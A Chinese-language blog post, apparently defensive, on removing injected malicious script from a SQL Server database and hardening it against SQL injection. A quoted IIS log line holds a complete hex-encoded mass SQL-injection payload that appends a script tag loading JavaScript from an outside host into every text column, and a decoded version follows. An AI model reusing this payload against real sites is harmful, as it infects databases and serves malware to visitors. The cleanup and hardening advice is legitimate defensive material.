解決數(shù)據(jù)庫被掛馬最快方法

[重要通告]如您遇疑難雜癥,本站支持知識付費業(yè)務(wù),掃右邊二維碼加博主微信,可節(jié)省您寶貴時間哦!

如果你的數(shù)據(jù)庫中被寫入了 類似的木馬,您可以采用這個方法快速的刪除木馬!

新建存儲過程,然后允許就可以了

Create PROCEDURE dbo.ss AS

declare @t varchar(555),@c varchar(555) ,@inScript varchar(8000)

set @inScript=''

declare table_cursor cursor for select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)

open table_cursor

fetch next from table_cursor into @t,@c

while(@@fetch_status=0)

begin

exec('update ['+@t+'] set ['+@c+']=replace(cast(['+@c+'] as varchar(8000)),'''+@inScript+''','''')' )

fetch next from table_cursor into @t,@c

end

close table_cursor

deallocate table_cursor;

當(dāng)然我們也想看看他們是怎么掛上木馬的.

IIS日志了,很意外的發(fā)現(xiàn)了一處代碼:

2009-01-16 15:39:57 W3SVC1570028688 202.96.137.63 GET /hdjr.asp y=2008&m=10&d=21&word=%e5%ab%81%e5%a8%b6%25'%20;dEcLaRe%20@S%20VaRcHaR(4000)%20SeT%20@s=cAsT(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F636E2E64617869613132332E636E2F636E2E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20aS%20VaRcHaR(4000));eXeC(@s);--%20aNd%20'%25'=' 80 - 211.179.110.20 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.0) 200 0 64

很顯然state=200意味著什么,SQL里執(zhí)行一下,看一下原形,

DECLARE @T VARCHAR(255),@C VARCHAR(255)

DECLARE Table_Cursor CURSOR FOR Select a.name,b.name FROM sysobjects a,syscolumns b Where a.id=b.id AND a.xtype='u' AND (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)

OPEN Table_Cursor

FETCH NEXT FROM Table_Cursor INTO @T,@C

WHILE(@@FETCH_STATUS=0)

BEGIN

EXEC('Update ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''''')

FETCH NEXT FROM Table_Cursor INTO @T,@C

END

CLOSE Table_Cursor

DEALLOCATE Table_Cursor

解決方法

徹底杜絕SQL注入

1.不要使用sa用戶連接數(shù)據(jù)庫

2、新建一個public權(quán)限數(shù)據(jù)庫用戶,并用這個用戶訪問數(shù)據(jù)庫

3、[角色]去掉角色public對sysobjects與syscolumns對象的select訪問權(quán)限

4、[用戶]用戶名稱-> 右鍵-屬性-權(quán)限-在sysobjects與syscolumns上面打“×”

5、通過以下代碼檢測(失敗表示權(quán)限正確,如能顯示出來則表明權(quán)限太高):

DECLARE @T varchar(255),

@C varchar(255)

DECLARE Table_Cursor CURSOR FOR

Select a.name,b.name from sysobjects a,syscolumns b

where a.id=b.id and a.xtype= 'u ' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)

OPEN Table_Cursor

FETCH NEXT FROM Table_Cursor INTO @T,@C

WHILE(@@FETCH_STATUS=0)

BEGIN print @c

FETCH NEXT FROM Table_Cursor INTO @T,@C

END

CLOSE Table_Cursor

DEALLOCATE Table_Cursor

---------------------------------------------------------------

c.js注入見鬼去吧!

問題未解決?付費解決問題加Q或微信 2589053300 (即Q號又微信號)右上方掃一掃可加博主微信

所寫所說,是心之所感,思之所悟,行之所得;文當(dāng)無敷衍,落筆求簡潔。 以所舍,求所獲;有所依,方所成!

支付寶贊助
微信贊助

免責(zé)聲明,若由于商用引起版權(quán)糾紛,一切責(zé)任均由使用者承擔(dān)。

您必須遵守我們的協(xié)議,如您下載該資源,行為將被視為對《免責(zé)聲明》全部內(nèi)容的認(rèn)可->聯(lián)系老梁投訴資源
LaoLiang.Net部分資源來自互聯(lián)網(wǎng)收集,僅供用于學(xué)習(xí)和交流,請勿用于商業(yè)用途。如有侵權(quán)、不妥之處,請聯(lián)系站長并出示版權(quán)證明以便刪除。 敬請諒解! 侵權(quán)刪帖/違法舉報/投稿等事物聯(lián)系郵箱:service@laoliang.net
意在交流學(xué)習(xí),歡迎贊賞評論,如有謬誤,請聯(lián)系指正;轉(zhuǎn)載請注明出處: » 解決數(shù)據(jù)庫被掛馬最快方法

發(fā)表回復(fù)

本站承接,網(wǎng)站推廣(SEM,SEO);軟件安裝與調(diào)試;服務(wù)器或網(wǎng)絡(luò)推薦及配置;APP開發(fā)與維護(hù);網(wǎng)站開發(fā)修改及維護(hù); 各財務(wù)軟件安裝調(diào)試及注冊服務(wù)(金蝶,用友,管家婆,速達(dá),星宇等);同時也有客戶管理系統(tǒng),人力資源,超市POS,醫(yī)藥管理等;

立即查看 了解詳情